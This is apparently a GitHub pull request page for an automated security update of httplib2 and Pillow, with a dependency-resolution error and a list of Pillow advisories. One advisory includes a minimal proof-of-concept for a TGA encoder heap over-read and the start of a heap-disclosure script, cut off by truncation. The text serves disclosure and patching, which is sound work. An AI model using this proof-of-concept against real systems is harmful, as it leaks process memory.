Command failed: uv pip compile --generate-hashes --python-version=3.13 --prerelease=allow --output-file=requirements-dev.txt requirements-dev.in --upgrade-package=aiohttp==3.14.3 --upgrade-package=h2==4.4.1 --upgrade-package=httplib2==0.32.0 --upgrade-package=pyasn1==0.6.4 --upgrade-package=sqlparse==0.6.0
  × No solution found when resolving dependencies:
  ╰─▶ Because apache-beam==2.74.0 depends on httplib2>=0.8,<0.32.0 and
      httplib2==0.32.0, we can conclude that apache-beam==2.74.0 cannot be
      used.
      And because you require apache-beam[gcp]==2.74.0, we can conclude that
      your requirements are unsatisfiable.

copybara-service Bot pushed a commit that referenced this pull request Jul 21, 2026
…v0.32.0 [SECURITY]

Import of github PR #595 from renovate-bot
#595

> ℹ️ **Note**
>
> This PR body was truncated due to platform limits.

This PR contains the following updates:

[httplib2](https://redirect.github.com/httplib2/httplib2): `0.31.2` → `0.32.0`
[pillow](https://redirect.github.com/python-pillow/Pillow): `12.2.0` → `12.3.0`

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/73) for more information.

---

### [CVE-2026-59939](https://nvd.nist.gov/vuln/detail/CVE-2026-59939) / [GHSA-j5g9-f88f-gfj3](https://redirect.github.com/advisories/GHSA-j5g9-f88f-gfj3) / PYSEC-2026-3444

---

### Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
BIT-pillow-2026-55379 / [CVE-2026-55379](https://nvd.nist.gov/vuln/detail/CVE-2026-55379) / [GHSA-45hq-cxwh-f6vc](https://redirect.github.com/advisories/GHSA-45hq-cxwh-f6vc) / PYSEC-2026-2255

---

### Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
BIT-pillow-2026-55798 / [CVE-2026-55798](https://nvd.nist.gov/vuln/detail/CVE-2026-55798) / [GHSA-4x4j-2g7c-83w6](https://redirect.github.com/advisories/GHSA-4x4j-2g7c-83w6) / PYSEC-2026-2257

---

### Pillow: `FontFile.compile()`: `Image.new()` called without `_decompression_bomb_check()`
BIT-pillow-2026-54060 / [CVE-2026-54060](https://nvd.nist.gov/vuln/detail/CVE-2026-54060) / [GHSA-5x94-69rx-g8h2](https://redirect.github.com/advisories/GHSA-5x94-69rx-g8h2) / PYSEC-2026-2254

---

### Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
BIT-pillow-2026-54058 / [CVE-2026-54058](https://nvd.nist.gov/vuln/detail/CVE-2026-54058) / [GHSA-62p4-gmf7-7g93](https://redirect.github.com/advisories/GHSA-62p4-gmf7-7g93)

---

### Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
BIT-pillow-2026-59199 / [CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) / [GHSA-6r8x-57c9-28j4](https://redirect.github.com/advisories/GHSA-6r8x-57c9-28j4) / PYSEC-2026-3451

---

### Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading
BIT-pillow-2026-54059 / [CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) / [GHSA-8v84-f9pq-wr9x](https://redirect.github.com/advisories/GHSA-8v84-f9pq-wr9x) / PYSEC-2026-2253

---

### Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
BIT-pillow-2026-59205 / [CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) / [GHSA-9hw9-ch79-4vh6](https://redirect.github.com/advisories/GHSA-9hw9-ch79-4vh6) / PYSEC-2026-3453

---

### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
BIT-pillow-2026-59198 / [CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) / [GHSA-fj7v-r99m-22gq](https://redirect.github.com/advisories/GHSA-fj7v-r99m-22gq)

<details>
<summary>More information</summary>

#### Details
##### Summary

Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"`
image. Adjacent process heap bytes can be copied into the generated TGA file.

The bug is reachable through the public save API:

```python
im.save(out, format="TGA", compression="tga_rle")
```

Older affected Pillow versions use the equivalent public option `rle=True`.

For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)`
bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.

The maximum valid TGA width is `65535`. At that width:

```text
allocated packed row buffer: 8192 bytes
encoder byte-offset walk:     65535 bytes
maximum OOB window per row:   57343 bytes
```

On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized
`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,
covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most `128` bytes each, not one large
`memcpy()`.

##### Details

`src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the
`tga_rle` encoder when RLE compression is requested.

`src/encode.c:_setimage()` allocates the row buffer using the packed-bit
formula:

```c
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);
```

For mode `"1"`, `state->bits == 1`.

`src/libImaging/TgaRleEncode.c` then computes:

```c
bytesPerPixel = (state->bits + 7) / 8;
```

This becomes `1`, and the encoder uses pixel indexes as byte offsets:

```c
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
    buf += x * bytesPerPixel;
    return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
```

The packet payload `memcpy()` later copies those out-of-bounds source bytes into
the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy
one representative byte:

```c
memcpy(
    dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
```

A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.

##### PoC

##### Minimal ASAN trigger

```python
import io
from PIL import Image

out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
```

Observed on local Pillow `12.3.0.dev0` ASAN target:

```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
```

##### Maximum-width heap disclosure

This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are  avoided because they mostly repeat the same adjacent heap window.

Run the following with a standard affected Pillow installation.

```python
import hashlib
import io
import PIL
from PIL import Image

WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYT

> ✂ **Note**
>
> PR body was truncated to here.

---

### Commit Message(s):

--
Change 1 of 1 by Mend Renovate <bot@renovateapp.com>:

chore(deps): [dataflow-gcs-to-alloydb] Update dependency pillow to v12.3.0 [SECURITY]

GitOrigin-RevId: 90d79fd93cfd019bb1e7ee7dd23110c14611e476
Change-Id: I6005716367fb382a32d9d8c46aad8eff86cdfada
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update dependency httplib2 to v0.32.0 [SECURITY] Jul 21, 2026
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update dependency httplib2 to v0.32.0 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 22, 2026
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY] Jul 24, 2026
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 24, 2026
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY] Jul 27, 2026
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.2 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] Jul 28, 2026
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] Jul 28, 2026
@renovate-bot renovate-bot changed the title chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v0.32.0 [SECURITY] chore(deps): [dataflow-gcs-to-alloydb] Update vulnerabilityAlerts to v3.14.3 [SECURITY] Aug 4, 2026
@zunhoyi

zunhoyi commented Aug 18, 2026

Copy link
Copy Markdown

Apache beam has released v2.76.0-RC2 last week, however it hasn't added to Apache beam pypi repo yet (Link). Will update this PR when stable version of Apache beam 2.76.0 is available from pypi.

cc: @ferrarimarco

@ferrarimarco

Copy link
Copy Markdown
Member

Got it, thanks for the update.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file p0 SECURITY

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants